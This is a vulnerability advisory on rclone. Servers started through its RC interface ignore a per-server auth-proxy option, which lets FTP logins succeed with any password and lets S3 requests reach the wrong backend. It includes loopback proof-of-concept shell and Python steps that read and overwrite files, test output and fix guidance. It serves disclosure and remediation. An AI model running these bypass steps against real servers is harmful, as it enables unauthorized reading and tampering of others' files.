rclone: RC per-server auth-proxy bypass

Technical Root Cause Analysis

The serve implementation has two option scopes:

• proxy.Opt is process-global and is populated by command-line/global option parsing.
• proxyOpt is a constructor argument populated from the individual serve/start request.

The RC adapters correctly create a local copy, apply the request parameters, and call newServer(..., &proxyOpt). Neither adapter mutates the global. The constructors then branch on the wrong value:

// Current FTP and S3 pattern
if proxy.Opt.AuthProxy != "" {
    // Uses proxyOpt only after the unrelated global check succeeds.
    serverProxy = proxy.New(ctx, proxyOpt, vfsOpt)
} else {
    // Fail-open fixed-backend mode.
}

Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse proxyOpt, and the generic serve/start documentation gives proxyOpt.AuthProxy as an example.

For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured AuthKey. If no AuthKey is configured, anonymous S3 access is expected behavior and should not be cited as impact.

Proof of Concept & Evidence

The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed.

Build the inspected revision, then prepare a fixed filesystem and rejecting proxy:

mkdir -p /tmp/rclone-rc-root
printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt
rm -f /tmp/rclone-auth-proxy-invoked

cat > /tmp/deny-rclone-proxy.sh <<'EOF'
#!/bin/sh
printf 'invoked\n' >> /tmp/rclone-auth-proxy-invoked
cat >/dev/null
exit 1
EOF
chmod 700 /tmp/deny-rclone-proxy.sh

Start RC on loopback in one terminal:

./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth

Start an FTP server with only the request-local auth proxy configured:

./rclone rc --url http://127.0.0.1:5572 \
  serve/start \
  type=ftp \
  fs=/tmp/rclone-rc-root \
  proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \
  opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'

Connect with the fallback credentials and exercise read and write access:

python3 - <<'PY'
import ftplib
import io

ftp = ftplib.FTP()
ftp.connect("127.0.0.1", 2121, timeout=5)
ftp.login("anonymous", "arbitrary-password")

data = bytearray()
ftp.retrbinary("RETR secret.txt", data.extend)
print(data.decode().strip())

ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n"))
ftp.quit()
PY

test ! -e /tmp/rclone-auth-proxy-invoked
grep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt

Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:

• Login as anonymous succeeds with an arbitrary password.
• secret.txt is returned from the fixed RC filesystem.
• overwritten.txt is created in that filesystem.
• The rejecting auth-proxy program is never invoked.

The equivalent automated network test, TestSecurityValidationRCPerServerAuthProxyFTP, called the actual serve/start RC handler, connected through github.com/jlaffaye/ftp, retrieved the fixed-root secret, uploaded a new object, and verified its bytes on disk. It passed on Windows/amd64 with Go 1.26.2:

=== RUN   TestSecurityValidationRCPerServerAuthProxyFTP
--- PASS: TestSecurityValidationRCPerServerAuthProxyFTP (0.14s)

Authenticated S3 backend-routing reproduction

This validation distinguishes the S3 issue from documented anonymous mode. Prepare two different roots:

mkdir -p /tmp/rclone-s3-fixed/bucket /tmp/rclone-s3-proxy/bucket
printf 'fixed-backend-secret\n' > /tmp/rclone-s3-fixed/bucket/fixed-secret.txt
printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt

cat > /tmp/rclone-s3-route-proxy.py <<'PY'
#!/usr/bin/env python3
import json
import sys

json.load(sys.stdin)
print(json.dumps({"type": "local", "_root": "/tmp/rclone-s3-proxy"}))
PY
chmod 700 /tmp/rclone-s3-route-proxy.py

Using the same loopback RC process, start an authenticated S3 server:

./rclone rc --url http://127.0.0.1:5572 serve/start --json '{
  "type": "s3",
  "fs": "/tmp/rclone-s3-fixed",
  "addr": "127.0.0.1:8080",
  "auth_key": ["validation-key,validation-secret"],
  "proxyOpt": {
    "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py"
  }
}'

Send a correctly signed S3 request:

AWS_ACCESS_KEY_ID=validation-key \
AWS_SECRET_ACCESS_KEY=validation-secret \
AWS_DEFAULT_REGION=us-east-1 \
aws --endpoint-url http://127.0.0.1:8080 \
  s3api get-object \
  --bucket bucket \
  --key fixed-secret.txt \
  /tmp/rclone-s3-result

grep -F fixed-backend-secret /tmp/rclone-s3-result

If the request-local proxy were active, fixed-secret.txt would not exist because the proxy selects /tmp/rclone-s3-proxy. Current code serves it from /tmp/rclone-s3-fixed. Conversely, a request for proxy-only.txt returns NoSuchKey.

The automated validation TestSecurityValidationRCPerServerAuthProxyS3Routing performed this sequence through the actual serve/start handler and a MinIO Signature V4 client. It used a valid AuthKey, fetched fixed-secret.txt, and confirmed that proxy-only.txt was absent:

=== RUN   TestSecurityValidationRCPerServerAuthProxyS3Routing
--- PASS: TestSecurityValidationRCPerServerAuthProxyS3Routing (0.17s)

This demonstrates backend-authorization bypass, not anonymous S3 access.

Impact Assessment

For RC-started FTP servers configured to use an auth proxy, an unauthenticated network client can read, create, overwrite, and delete objects in the fixed filesystem supplied to serve/start, subject only to VFS options such as read_only. This is a complete authentication bypass and grants capabilities the attacker did not previously possess.

For RC-started S3 servers that combine auth_key with auth-proxy backend selection, a client with any accepted S3 key can reach the fixed filesystem rather than the filesystem authorized for that access key. The resulting cross-backend disclosure or modification depends on what the RC caller supplied as fs and on the fixed filesystem's VFS permissions.

Exploitation does not require changing globals, controlling the RC endpoint, or using an unusual protocol extension. It requires an operator to use the documented per-server proxy option and expose the resulting FTP or S3 listener. CLI-started servers whose auth proxy is set globally are not affected.

Remediation Guidance

Change the mode checks in both constructors to use the option object passed to that server:

if proxyOpt != nil && proxyOpt.AuthProxy != "" {
    d.proxy = proxy.New(ctx, proxyOpt, vfsOpt)
    // Do not create a fixed/global VFS in this mode.
} else {
    d.globalVFS = vfs.New(ctx, f, vfsOpt)
}

Apply the equivalent change in cmd/serve/s3/server.go. Do not copy the local option into the global as a workaround; multiple RC-started servers may intentionally use different auth proxies, and global mutation would introduce cross-server races and configuration leakage.

Also:

• Validate a nil or empty proxy command before constructing proxy mode and return a startup error rather than falling back.
• In S3, make the “allowing anonymous access” log conditional on both the absence of AuthKey and the absence of an active auth proxy, so the log reflects the effective mode.
• Add RC integration tests for FTP and S3 with global proxy.Opt.AuthProxy empty and nested proxyOpt.AuthProxy non-empty.
• In the FTP test, use a rejecting proxy and assert that anonymous login fails and the proxy is invoked.
• In the S3 test, configure AuthKey, map two access keys or proxy responses to distinct roots, and assert that a request never reaches the fixed RC fs.
• Add a multi-server test proving that two simultaneous serve/start instances can use different proxy settings without consulting or mutating global state.
• Audit other serve.AddRc implementations for the same pattern: parsing a request-local option but branching on its global counterpart.